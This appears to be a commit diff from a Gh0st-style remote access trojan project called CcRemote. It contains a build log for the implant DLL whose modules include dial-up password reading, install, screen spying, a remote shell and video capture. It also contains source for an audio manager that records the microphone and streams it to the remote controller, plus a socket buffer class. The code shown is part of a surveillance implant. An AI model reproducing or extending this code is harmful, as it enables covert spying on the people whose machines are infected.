g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
install.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
KernelManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
Manager.cpp
|
||||
RegEditEx.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||
ScreenManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||
g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
|
||||
ScreenSpy.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ShellManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
FileManager.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(168): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
||||
正在生成代码
|
||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||
All 351 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
||||
84
CcMainDll/CcMainDll/common/AudioManager.cpp
Normal file
84
CcMainDll/CcMainDll/common/AudioManager.cpp
Normal file
@@ -0,0 +1,84 @@
|
||||
// AudioManager.cpp: implementation of the CAudioManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "AudioManager.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
bool CAudioManager::m_bIsWorking = false;
|
||||
|
||||
CAudioManager::CAudioManager(CClientSocket *pClient) : CManager(pClient)
|
||||
{
|
||||
if (!Initialize())
|
||||
return;
|
||||
|
||||
BYTE bToken = TOKEN_AUDIO_START;
|
||||
Send(&bToken, 1);
|
||||
// Wait for remote dialog open and init
|
||||
WaitForDialogOpen();
|
||||
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
|
||||
|
||||
}
|
||||
|
||||
CAudioManager::~CAudioManager()
|
||||
{
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
|
||||
delete m_lpAudio;
|
||||
}
|
||||
|
||||
bool CAudioManager::Initialize()
|
||||
{
|
||||
if (!waveInGetNumDevs())
|
||||
return false;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
|
||||
if (m_bIsWorking)
|
||||
return false;
|
||||
|
||||
m_lpAudio = new CAudio;
|
||||
|
||||
m_bIsWorking = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
int CAudioManager::sendRecordBuffer()
|
||||
{
|
||||
DWORD dwBytes = 0;
|
||||
UINT nSendBytes = 0;
|
||||
LPBYTE lpBuffer = m_lpAudio->getRecordBuffer(&dwBytes);
|
||||
if (lpBuffer == NULL)
|
||||
return 0;
|
||||
LPBYTE lpPacket = new BYTE[dwBytes + 1];
|
||||
lpPacket[0] = TOKEN_AUDIO_DATA;
|
||||
memcpy(lpPacket + 1, lpBuffer, dwBytes);
|
||||
|
||||
if (dwBytes > 0)
|
||||
nSendBytes = Send(lpPacket, dwBytes + 1);
|
||||
delete lpPacket;
|
||||
|
||||
return nSendBytes;
|
||||
}
|
||||
|
||||
void CAudioManager::OnReceive( LPBYTE lpBuffer, UINT nSize )
|
||||
{
|
||||
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
|
||||
{
|
||||
NotifyDialogIsOpen();
|
||||
return;
|
||||
}
|
||||
m_lpAudio->playBuffer(lpBuffer, nSize);
|
||||
}
|
||||
|
||||
DWORD WINAPI CAudioManager::WorkThread( LPVOID lparam )
|
||||
{
|
||||
CAudioManager *pThis = (CAudioManager *)lparam;
|
||||
while (pThis->m_bIsWorking)
|
||||
pThis->sendRecordBuffer();
|
||||
|
||||
return -1;
|
||||
}
|
||||
32
CcMainDll/CcMainDll/common/AudioManager.h
Normal file
32
CcMainDll/CcMainDll/common/AudioManager.h
Normal file
@@ -0,0 +1,32 @@
|
||||
// AudioManager.h: interface for the CAudioManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_)
|
||||
#define AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "..\..\..\common\Audio.h"
|
||||
|
||||
class CAudioManager : public CManager
|
||||
{
|
||||
public:
|
||||
CAudioManager(CClientSocket *pClient);
|
||||
virtual ~CAudioManager();
|
||||
int sendRecordBuffer();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
|
||||
static bool m_bIsWorking;
|
||||
private:
|
||||
bool Initialize();
|
||||
|
||||
CAudio *m_lpAudio;
|
||||
HANDLE m_hWorkThread;
|
||||
static DWORD WINAPI WorkThread(LPVOID lparam);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_)
|
||||
473
CcMainDll/CcMainDll/common/Buffer.cpp
Normal file
473
CcMainDll/CcMainDll/common/Buffer.cpp
Normal file
@@ -0,0 +1,473 @@
|
||||
// Buffer.cpp: implementation of the CBuffer class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
//#include "StdAfx.h"
|
||||
#include "Buffer.h"
|
||||
#include "math.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#undef THIS_FILE
|
||||
static char THIS_FILE[]=__FILE__;
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: CBuffer
|
||||
//
|
||||
// DESCRIPTION: Constructs the buffer with a default size
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
CBuffer::CBuffer()
|
||||
{
|
||||
// Initial size
|
||||
m_nSize = 0;
|
||||
|
||||
m_pPtr = m_pBase = NULL;
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: ~CBuffer
|
||||
//
|
||||
// DESCRIPTION: Deallocates the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
CBuffer::~CBuffer()
|
||||
{
|
||||
if (m_pBase)
|
||||
VirtualFree(m_pBase, 0, MEM_RELEASE);
|
||||
DeleteCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Write
|
||||
//
|
||||
// DESCRIPTION: Writes data into the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return false;
|
||||
}
|
||||
|
||||
CopyMemory(m_pPtr,pData,nSize);
|
||||
|
||||
// Advance Pointer
|
||||
m_pPtr+=nSize;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Insert
|
||||
//
|
||||
// DESCRIPTION: Insert data into the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return false;
|
||||
}
|
||||
|
||||
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
|
||||
CopyMemory(m_pBase,pData,nSize);
|
||||
|
||||
// Advance Pointer
|
||||
m_pPtr+=nSize;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return nSize;
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Read
|
||||
//
|
||||
// DESCRIPTION: Reads data from the buffer and deletes what it reads
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::Read(PBYTE pData, UINT nSize)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
// Trying to byte off more than ya can chew - eh?
|
||||
if (nSize > GetMemSize())
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// all that we have
|
||||
if (nSize > GetBufferLen())
|
||||
nSize = GetBufferLen();
|
||||
|
||||
|
||||
if (nSize)
|
||||
{
|
||||
// Copy over required amount and its not up to us
|
||||
// to terminate the buffer - got that!!!
|
||||
CopyMemory(pData,m_pBase,nSize);
|
||||
|
||||
// Slide the buffer back - like sinking the data
|
||||
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
|
||||
|
||||
m_pPtr -= nSize;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(GetBufferLen());
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: GetMemSize
|
||||
//
|
||||
// DESCRIPTION: Returns the phyical memory allocated to the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::GetMemSize()
|
||||
{
|
||||
return m_nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: GetBufferLen
|
||||
//
|
||||
// DESCRIPTION: Get the buffer 'data' length
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::GetBufferLen()
|
||||
{
|
||||
if (m_pBase == NULL)
|
||||
return 0;
|
||||
|
||||
int nSize =
|
||||
m_pPtr - m_pBase;
|
||||
return nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: ReAllocateBuffer
|
||||
//
|
||||
// DESCRIPTION: ReAllocateBuffer the Buffer to the requested size
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
|
||||
{
|
||||
if (nRequestedSize < GetMemSize())
|
||||
return 0;
|
||||
|
||||
// Allocate new size
|
||||
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
|
||||
|
||||
// New Copy Data Over
|
||||
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (pNewBuffer == NULL)
|
||||
return -1;
|
||||
|
||||
UINT nBufferLen = GetBufferLen();
|
||||
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
|
||||
|
||||
if (m_pBase)
|
||||
VirtualFree(m_pBase,0,MEM_RELEASE);
|
||||
|
||||
|
||||
// Hand over the pointer
|
||||
m_pBase = pNewBuffer;
|
||||
|
||||
// Realign position pointer
|
||||
m_pPtr = m_pBase + nBufferLen;
|
||||
|
||||
m_nSize = nNewSize;
|
||||
|
||||
return m_nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: DeAllocateBuffer
|
||||
//
|
||||
// DESCRIPTION: DeAllocates the Buffer to the requested size
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
|
||||
{
|
||||
if (nRequestedSize < GetBufferLen())
|
||||
return 0;
|
||||
|
||||
// Allocate new size
|
||||
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
|
||||
|
||||
if (nNewSize < GetMemSize())
|
||||
return 0;
|
||||
|
||||
// New Copy Data Over
|
||||
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
|
||||
|
||||
UINT nBufferLen = GetBufferLen();
|
||||
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
|
||||
|
||||
VirtualFree(m_pBase,0,MEM_RELEASE);
|
||||
|
||||
// Hand over the pointer
|
||||
m_pBase = pNewBuffer;
|
||||
|
||||
// Realign position pointer
|
||||
m_pPtr = m_pBase + nBufferLen;
|
||||
|
||||
m_nSize = nNewSize;
|
||||
|
||||
return m_nSize;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Scan
|
||||
//
|
||||
// DESCRIPTION: Scans the buffer for a given byte sequence
|
||||
//
|
||||
// RETURNS: Logical offset
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
int CBuffer::Scan(PBYTE pScan,UINT nPos)
|
||||
{
|
||||
if (nPos > GetBufferLen() )
|
||||
return -1;
|
||||
|
||||
PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);
|
||||
|
||||
int nOffset = 0;
|
||||
|
||||
if (pStr)
|
||||
nOffset = (pStr - m_pBase) + strlen((char*)pScan);
|
||||
|
||||
return nOffset;
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: ClearBuffer
|
||||
//
|
||||
// DESCRIPTION: Clears/Resets the buffer
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
void CBuffer::ClearBuffer()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
// Force the buffer to be empty
|
||||
m_pPtr = m_pBase;
|
||||
|
||||
DeAllocateBuffer(1024);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Copy
|
||||
//
|
||||
// DESCRIPTION: Copy from one buffer object to another...
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
void CBuffer::Copy(CBuffer& buffer)
|
||||
{
|
||||
int nReSize = buffer.GetMemSize();
|
||||
int nSize = buffer.GetBufferLen();
|
||||
ClearBuffer();
|
||||
if (ReAllocateBuffer(nReSize) == -1)
|
||||
return;
|
||||
|
||||
m_pPtr = m_pBase + nSize;
|
||||
|
||||
CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
|
||||
}
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: GetBuffer
|
||||
//
|
||||
// DESCRIPTION: Returns a pointer to the physical memory determined by the offset
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
PBYTE CBuffer::GetBuffer(UINT nPos)
|
||||
{
|
||||
return m_pBase+nPos;
|
||||
}
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// FUNCTION: Delete
|
||||
//
|
||||
// DESCRIPTION: Delete data from the buffer and deletes what it reads
|
||||
//
|
||||
// RETURNS:
|
||||
//
|
||||
// NOTES:
|
||||
//
|
||||
// MODIFICATIONS:
|
||||
//
|
||||
// Name Date Version Comments
|
||||
// N T ALMOND 270400 1.0 Origin
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
UINT CBuffer::Delete(UINT nSize)
|
||||
{
|
||||
// Trying to byte off more than ya can chew - eh?
|
||||
if (nSize > GetMemSize())
|
||||
return 0;
|
||||
|
||||
// all that we have
|
||||
if (nSize > GetBufferLen())
|
||||
nSize = GetBufferLen();
|
||||
|
||||
|
||||
if (nSize)
|
||||
{
|
||||
// Slide the buffer back - like sinking the data
|
||||
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
|
||||
|
||||
m_pPtr -= nSize;
|
||||
}
|
||||
|
||||
DeAllocateBuffer(GetBufferLen());
|
||||
|
||||
return nSize;
|
||||
}
|
||||
46
CcMainDll/CcMainDll/common/Buffer.h
Normal file
46
CcMainDll/CcMainDll/common/Buffer.h
Normal file
@@ -0,0 +1,46 @@
|
||||
// Buffer.h: interface for the CBuffer class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
|
||||
#define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <windows.h>
|
||||
class CBuffer
|
||||
{
|
||||
// Attributes
|
||||
protected:
|
||||
PBYTE m_pBase;
|
||||
PBYTE m_pPtr;
|
||||
UINT m_nSize;
|
||||
|
||||
|
||||
// Methods
|
||||
protected:
|
||||
UINT ReAllocateBuffer(UINT nRequestedSize);
|
||||
UINT DeAllocateBuffer(UINT nRequestedSize);
|
||||
UINT GetMemSize();
|
||||
public:
|
||||
void ClearBuffer();
|
||||
|
||||
UINT Delete(UINT nSize);
|
||||
UINT Read(PBYTE pData, UINT nSize);
|
||||
BOOL Write(PBYTE pData, UINT nSize);
|
||||
UINT GetBufferLen();
|
||||
int Scan(PBYTE pScan,UINT nPos);
